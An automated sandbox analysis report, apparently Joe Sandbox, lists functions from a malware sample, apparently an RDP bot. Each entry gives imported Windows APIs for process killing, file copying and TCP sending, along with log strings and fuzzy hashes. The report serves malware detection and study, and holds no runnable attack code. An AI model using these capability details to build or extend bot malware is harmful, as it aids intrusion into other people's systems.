String ID: [E] (%s) -> TerminateProcess failed(gle=%lu)$process_kill
API String ID: 477549591-1116693529
Opcode ID: 0d80a45c6b63d9cc7037bdbc81b3f4d110de44327046f7773fcc65a7367fa378
Instruction ID: ca852b4809faaed10ab74db7a1b6d662b11e4ab32ef3c2829aa655765d0f9a9e
Opcode Fuzzy Hash: 0d80a45c6b63d9cc7037bdbc81b3f4d110de44327046f7773fcc65a7367fa378
Instruction Fuzzy Hash: 90218C11A0A70396FE655B9EA4A037A6381AF557C0F089035CF4E5A691EF2DF8448340

Function 00007FF8BFB5B3C5 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 64stringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00007FF8BFB5B3E9
Process32Next.KERNEL32 ref: 00007FF8BFB5B3FF
strcmp.MSVCRT ref: 00007FF8BFB5B441
OpenProcess.KERNEL32 ref: 00007FF8BFB5B459
TerminateProcess.KERNEL32 ref: 00007FF8BFB5B473
GetLastError.KERNEL32 ref: 00007FF8BFB5B481
GetLastError.KERNEL32 ref: 00007FF8BFB5B658

Strings

process_kill, xrefs: 00007FF8BFB5B48C
[E] (%s) -> TerminateProcess failed(gle=%lu), xrefs: 00007FF8BFB5B493

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: ErrorLastProcess$CloseHandleNextOpenProcess32Terminatestrcmp
String ID: [E] (%s) -> TerminateProcess failed(gle=%lu)$process_kill
API String ID: 477549591-1116693529
Opcode ID: 87b4197cd9f34c5eb04993c6019d3506ae22fe7ba9a7b67b46b5ee6a4f420728
Instruction ID: 60eb1cd37dccf0b3cfd519e643fb56468873b4a7ca2da948e313a9e05f93115a
Opcode Fuzzy Hash: 87b4197cd9f34c5eb04993c6019d3506ae22fe7ba9a7b67b46b5ee6a4f420728
Instruction Fuzzy Hash: F4218922A0A70396FE659BAEA5A037A6381AF557C0F089035DF0E5A691EF2DF8448340

Function 00007FF8BFB5B3CC Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 64stringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00007FF8BFB5B3E9
Process32Next.KERNEL32 ref: 00007FF8BFB5B3FF
strcmp.MSVCRT ref: 00007FF8BFB5B441
OpenProcess.KERNEL32 ref: 00007FF8BFB5B459
TerminateProcess.KERNEL32 ref: 00007FF8BFB5B473
GetLastError.KERNEL32 ref: 00007FF8BFB5B481
GetLastError.KERNEL32 ref: 00007FF8BFB5B658

Strings

process_kill, xrefs: 00007FF8BFB5B48C
[E] (%s) -> TerminateProcess failed(gle=%lu), xrefs: 00007FF8BFB5B493

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: ErrorLastProcess$CloseHandleNextOpenProcess32Terminatestrcmp
String ID: [E] (%s) -> TerminateProcess failed(gle=%lu)$process_kill
API String ID: 477549591-1116693529
Opcode ID: d4c386ed4f02e9339dd4c2f6c6e840fef5e27a6134c9153b478a0e26d912db7d
Instruction ID: 3274c02279f7df559014b8a89b83fa20c154a32ad3d811fca1e4a8d123480449
Opcode Fuzzy Hash: d4c386ed4f02e9339dd4c2f6c6e840fef5e27a6134c9153b478a0e26d912db7d
Instruction Fuzzy Hash: 01218922B0A70396FE659BAEA5A037A6381AF557C1F089035DF0E5A691EF2DF8448340

Function 00007FF8BFB5B3D3 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 64stringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00007FF8BFB5B3E9
Process32Next.KERNEL32 ref: 00007FF8BFB5B3FF
strcmp.MSVCRT ref: 00007FF8BFB5B441
OpenProcess.KERNEL32 ref: 00007FF8BFB5B459
TerminateProcess.KERNEL32 ref: 00007FF8BFB5B473
GetLastError.KERNEL32 ref: 00007FF8BFB5B481
GetLastError.KERNEL32 ref: 00007FF8BFB5B658

Strings

process_kill, xrefs: 00007FF8BFB5B48C
[E] (%s) -> TerminateProcess failed(gle=%lu), xrefs: 00007FF8BFB5B493

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: ErrorLastProcess$CloseHandleNextOpenProcess32Terminatestrcmp
String ID: [E] (%s) -> TerminateProcess failed(gle=%lu)$process_kill
API String ID: 477549591-1116693529
Opcode ID: 37ee8ffaf0a2d8da3035a1d1cae7e076087a7bfd7fb2618ce8062491b4793440
Instruction ID: 2b1c54767a0cdc2a096d72d6e6c7024e8b8a18a54968c2983eab1c9936ab9a01
Opcode Fuzzy Hash: 37ee8ffaf0a2d8da3035a1d1cae7e076087a7bfd7fb2618ce8062491b4793440
Instruction Fuzzy Hash: 18218C11A0A70396FE655BDEA5A037A6381AF557C0F089035DF0E5A691EF2DF8448340

Function 00007FF8BFB563D1 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 123fileCOMMON

Download Yara Rule

APIs

CopyFileA.KERNEL32 ref: 00007FF8BFB5646F
GetLastError.KERNEL32 ref: 00007FF8BFB5648A

Part of subcall function 00007FF8BFB52FD2: fwrite.MSVCRT ref: 00007FF8BFB5307E
Part of subcall function 00007FF8BFB52FD2: fflush.MSVCRT ref: 00007FF8BFB5308A

Strings

[E] (%s) -> CopyFileA failed(src=%s,dst=%s,overwrite=%d,gle=%lu), xrefs: 00007FF8BFB564A8
fs_file_copy, xrefs: 00007FF8BFB5643E, 00007FF8BFB564A1, 00007FF8BFB565EF
NULL, xrefs: 00007FF8BFB565CD, 00007FF8BFB565D9
[I] (%s) -> Done(src=%s,dst=%s,overwrite=%d), xrefs: 00007FF8BFB565F6
[E] (%s) -> Failed(src=%s,dst=%s,overwrite=%d,err=%08x), xrefs: 00007FF8BFB56445

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: CopyErrorFileLastfflushfwrite
String ID: NULL$[E] (%s) -> CopyFileA failed(src=%s,dst=%s,overwrite=%d,gle=%lu)$[E] (%s) -> Failed(src=%s,dst=%s,overwrite=%d,err=%08x)$[I] (%s) -> Done(src=%s,dst=%s,overwrite=%d)$fs_file_copy
API String ID: 2887799713-3464183404
Opcode ID: 736f15b1d810f9389d05397dcf2465c9d1ea4c2464552a021d8d7ad4e332b8b1
Instruction ID: edb381a05fed80461f3f828be4dd34f75ce03f0588528acbc80d3ebb9a3d38b9
Opcode Fuzzy Hash: 736f15b1d810f9389d05397dcf2465c9d1ea4c2464552a021d8d7ad4e332b8b1
Instruction Fuzzy Hash: 2B419351D2DA6A91FA298E8DE5203796752BF04BD8F54013ADF0F4B694EE6CF6828301

Function 00007FF8BFB52C0D Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 66networkCOMMON

Download Yara Rule

APIs

send.WS2_32 ref: 00007FF8BFB52C5B
WSAGetLastError.WS2_32 ref: 00007FF8BFB52C6A

Strings

tcp_send, xrefs: 00007FF8BFB52C76, 00007FF8BFB52CA7
[E] (%s) -> send failed(sock=0x%llx,WSAgle=%d), xrefs: 00007FF8BFB52C7D
[E] (%s) -> Invalid arguments(sock=0x%llx,p=0x%p,l=%d), xrefs: 00007FF8BFB52CCE
tcp_recv, xrefs: 00007FF8BFB52CC7
[E] (%s) -> !!!WTF!!!(sock=0x%llx,l=%d,n=%d), xrefs: 00007FF8BFB52CAE

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: ErrorLastsend
String ID: [E] (%s) -> !!!WTF!!!(sock=0x%llx,l=%d,n=%d)$[E] (%s) -> Invalid arguments(sock=0x%llx,p=0x%p,l=%d)$[E] (%s) -> send failed(sock=0x%llx,WSAgle=%d)$tcp_recv$tcp_send
API String ID: 1802528911-690514478
Opcode ID: 216b4cb1717b09bc2c3ee7bf0a43e15c9c894d7082d127124da279e8c6c66fe8
Instruction ID: c3ad30682e9c08cf38e5f4d5e836457b9a9500e07201cd5e2456061e2a108106
Opcode Fuzzy Hash: 216b4cb1717b09bc2c3ee7bf0a43e15c9c894d7082d127124da279e8c6c66fe8
Instruction Fuzzy Hash: C421AC91B1A64361FA204BADA9916B9B3817F14BF0F544330EF2D4AEE2DE2CF5858740

Function 00007FF8BFB51854 Relevance: 9.2, APIs: 3, Strings: 3, Instructions: 187memorystringCOMMON

Download Yara Rule

APIs

strcpy.MSVCRT ref: 00007FF8BFB518B4

Part of subcall function 00007FF8BFB55835: fopen.MSVCRT ref: 00007FF8BFB5587A
Part of subcall function 00007FF8BFB55835: fseek.MSVCRT ref: 00007FF8BFB55899
Part of subcall function 00007FF8BFB55835: _errno.MSVCRT ref: 00007FF8BFB558AD
Part of subcall function 00007FF8BFB55835: _errno.MSVCRT ref: 00007FF8BFB558C8

Part of subcall function 00007FF8BFB52C0D: send.WS2_32 ref: 00007FF8BFB52C5B
Part of subcall function 00007FF8BFB52C0D: WSAGetLastError.WS2_32 ref: 00007FF8BFB52C6A

GetProcessHeap.KERNEL32 ref: 00007FF8BFB518E1
HeapFree.KERNEL32 ref: 00007FF8BFB518F2

Strings

-RGMLWD-, xrefs: 00007FF8BFB51908
ORRE, xrefs: 00007FF8BFB51900
(, xrefs: 00007FF8BFB518F8

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: Heap_errno$ErrorFreeLastProcessfopenfseeksendstrcpy
String ID: ($-RGMLWD-$ORRE
API String ID: 1421482426-2390005167
Opcode ID: d34eae1974ff341f97d7c99ab41b8c4f76de5e86e75233f67acac676b4a36d35
Instruction ID: da67f72a295fa7e9f8f0895041e434ec094ea222db88a5b76ee57dd40cb1cf8b
Opcode Fuzzy Hash: d34eae1974ff341f97d7c99ab41b8c4f76de5e86e75233f67acac676b4a36d35
Instruction Fuzzy Hash: E671B576A0C64282FB6096ADE4703BD77519B41BE4F140232EB6E1BBD5DF2DF8458B40

Function 00007FF8BFB5100C Relevance: 9.1, APIs: 6, Instructions: 101sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?,00000000,00007FF8BFB61034,00007FF8BFB51240), ref: 00007FF8BFB5107F
_amsg_exit.MSVCRT(?,00000000,00007FF8BFB61034,00007FF8BFB51240), ref: 00007FF8BFB510A1
_initterm.MSVCRT ref: 00007FF8BFB510DB
Sleep.KERNEL32(?,00000000,00007FF8BFB61034,00007FF8BFB51240), ref: 00007FF8BFB51132
_amsg_exit.MSVCRT(?,00000000,00007FF8BFB61034,00007FF8BFB51240), ref: 00007FF8BFB51149

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: Sleep_amsg_exit$_initterm
String ID:
API String ID: 2193611136-0
Opcode ID: 799de848f8585fc26dd49ddfba2fb1f87f28928e1ba97ec1f505cd326fa094cc
Instruction ID: ab440aa06b02aef4da7db809a5fa3ef728af2f89bd41e4e447935d1fa2664b6a
Opcode Fuzzy Hash: 799de848f8585fc26dd49ddfba2fb1f87f28928e1ba97ec1f505cd326fa094cc
Instruction Fuzzy Hash: E7412735A1964295FB919BDED870279B3A1AF48BC4F288431DF0D87395EE2CF8408341

Function 00007FF8BFB5C305 Relevance: 9.0, APIs: 2, Strings: 4, Instructions: 24COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00007FF8BFB5C31D
CloseHandle.KERNEL32 ref: 00007FF8BFB5C323

Strings

H:/Projects/rdp/bot/codebase/process.c, xrefs: 00007FF8BFB5C339
process_free, xrefs: 00007FF8BFB5C347
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BFB5C34E
(pi != NULL), xrefs: 00007FF8BFB5C340

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: CloseHandle
String ID: (pi != NULL)$H:/Projects/rdp/bot/codebase/process.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$process_free
API String ID: 2962429428-2428953624
Opcode ID: 262986059aaff05045a5af0fa962c9e24c7621cb0906d0cdcb9ca0c611095dc3
Instruction ID: 91af76d4ce763a1469ae3810d681f6c9344dfefc1f2aa4718383cd585e1a5a94
Opcode Fuzzy Hash: 262986059aaff05045a5af0fa962c9e24c7621cb0906d0cdcb9ca0c611095dc3
Instruction Fuzzy Hash: 62F015A1A0985FA1FB00DBA9FC202A87721AF547C8F840136DF0D1B2A4DE3CE947C340

Function 00007FF8BFB523B2 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 28networkCOMMON

Download Yara Rule

APIs

shutdown.WS2_32 ref: 00007FF8BFB523C0
WSAGetLastError.WS2_32 ref: 00007FF8BFB523E9

Part of subcall function 00007FF8BFB52FD2: fwrite.MSVCRT ref: 00007FF8BFB5307E
Part of subcall function 00007FF8BFB52FD2: fflush.MSVCRT ref: 00007FF8BFB5308A

Strings

[E] (%s) -> shutdown failed(sock=0x%llx,chan=%d,WSAgle=%d), xrefs: 00007FF8BFB52407
[D] (%s) -> Done(sock=0x%llx), xrefs: 00007FF8BFB523D5
sock_shutdown, xrefs: 00007FF8BFB523CE, 00007FF8BFB52400

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: ErrorLastfflushfwriteshutdown
String ID: [D] (%s) -> Done(sock=0x%llx)$[E] (%s) -> shutdown failed(sock=0x%llx,chan=%d,WSAgle=%d)$sock_shutdown
API String ID: 2143829457-932964775
Opcode ID: 41da1011352ac3ce5c174a998859568254df64b25cf04e920bef0f25f82aa8c3
Instruction ID: 62ea94b71d9b1a3ed196e4615cc0c76344c525505a52edc6b38924062bf9efaf
Opcode Fuzzy Hash: 41da1011352ac3ce5c174a998859568254df64b25cf04e920bef0f25f82aa8c3
Instruction Fuzzy Hash: 62F05E61E0D553A5FA206BADFCA50B97750AF247D0F544132EB0C869E1EE3CE58AC300

Function 00007FF8BFB52415 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26networkCOMMON

Download Yara Rule

APIs

closesocket.WS2_32 ref: 00007FF8BFB52436
WSAGetLastError.WS2_32 ref: 00007FF8BFB52459

Part of subcall function 00007FF8BFB52FD2: fwrite.MSVCRT ref: 00007FF8BFB5307E
Part of subcall function 00007FF8BFB52FD2: fflush.MSVCRT ref: 00007FF8BFB5308A

Strings

[E] (%s) -> closesocket failed(sock=0x%llx,WSAgle=%d), xrefs: 00007FF8BFB5246C
[D] (%s) -> Done(sock=0x%llx), xrefs: 00007FF8BFB5244B
sock_close, xrefs: 00007FF8BFB52444, 00007FF8BFB52465

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: ErrorLastclosesocketfflushfwrite
String ID: [D] (%s) -> Done(sock=0x%llx)$[E] (%s) -> closesocket failed(sock=0x%llx,WSAgle=%d)$sock_close
API String ID: 152032778-2221966578
Opcode ID: 42b0d0fea404e4121259a3932885e8e7ae0d755d0da3df266dcb12d97c28eaed
Instruction ID: b7c275f8da19263d7ebf9c8ddb8851b1c7483999b53b72b9730bd039770e4423
Opcode Fuzzy Hash: 42b0d0fea404e4121259a3932885e8e7ae0d755d0da3df266dcb12d97c28eaed
Instruction Fuzzy Hash: DBF05E60E09543A1FA206BEEA8650BC73519F607F0F541332D73D469E2AE3CF5868300

Function 00007FF8BFB5342C Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 21COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF8BFB53446
DeleteCriticalSection.KERNEL32 ref: 00007FF8BFB53473

Strings

[I] (%s) -> %s, xrefs: 00007FF8BFB53492
debug_cleanup, xrefs: 00007FF8BFB5348B
Done, xrefs: 00007FF8BFB53484

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: CriticalDeleteSectionfclose
String ID: Done$[I] (%s) -> %s$debug_cleanup
API String ID: 3387974148-4247581856
Opcode ID: 5afe0d6bd3b49cf838580e1fdd059aabc03d8400c0e606afa365b2625190c44c
Instruction ID: 09a3dae529d8acdeb2a46ae47ab0ba87e0e8a578519b4aa9f6f55cc05baccf91
Opcode Fuzzy Hash: 5afe0d6bd3b49cf838580e1fdd059aabc03d8400c0e606afa365b2625190c44c
Instruction Fuzzy Hash: 78F03461E2E683B5FA089BDCE8A8374B770AF503C8F488035C60D46BA0DF7CB0498390

Function 00007FF8BFB524E6 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 29networkCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 00007FF8BFB5250E
WSAGetLastError.WS2_32 ref: 00007FF8BFB52525

Strings

tcp_set_keepalive, xrefs: 00007FF8BFB52535
[E] (%s) -> setsockopt(SO_KEEPALIVE) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FF8BFB5253C

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: ErrorLastsetsockopt
String ID: [E] (%s) -> setsockopt(SO_KEEPALIVE) failed(sock=0x%llx,value=%d,WSAgle=%d)$tcp_set_keepalive
API String ID: 1729277954-536111009
Opcode ID: 8e6f3ac9bbc209cb9ba3fd84893b2c697eba45bce8f2a528690ca1bc4aa44eaa
Instruction ID: d5edb7a2690c8b41bcaeb9b1fba40d599515fa90fb50351a7167c4f020de5ff3
Opcode Fuzzy Hash: 8e6f3ac9bbc209cb9ba3fd84893b2c697eba45bce8f2a528690ca1bc4aa44eaa
Instruction Fuzzy Hash: 8AF0B461A1854296F7509F9DF800569B760BF887D0F108231EF6D83BE4EE3CD54A8B00

Function 00007FF8BFB52F97 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 9networkCOMMON

Download Yara Rule

APIs

WSACleanup.WS2_32 ref: 00007FF8BFB52F9B

Part of subcall function 00007FF8BFB52FD2: fwrite.MSVCRT ref: 00007FF8BFB5307E
Part of subcall function 00007FF8BFB52FD2: fflush.MSVCRT ref: 00007FF8BFB5308A

Strings

Done, xrefs: 00007FF8BFB52FA1
net_cleanup, xrefs: 00007FF8BFB52FA8
[I] (%s) -> %s, xrefs: 00007FF8BFB52FAF

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: Cleanupfflushfwrite
String ID: Done$[I] (%s) -> %s$net_cleanup
API String ID: 1441811225-3926276259
Opcode ID: 60bf99e75f055a99f3c96c9544a29d7d308a355ece3f6473fd6c0a06cebb9dcd
Instruction ID: 85c5796cad49bea4f056e32d3028fb9840bc299f15c227314b9a76673621b80a
Opcode Fuzzy Hash: 60bf99e75f055a99f3c96c9544a29d7d308a355ece3f6473fd6c0a06cebb9dcd
Instruction Fuzzy Hash: 03D00258E5A587B1FD046FDDEC550E57361EF683C4F945431C60D019619E3CF29AC750

Function 00007FF8BFB60860 Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

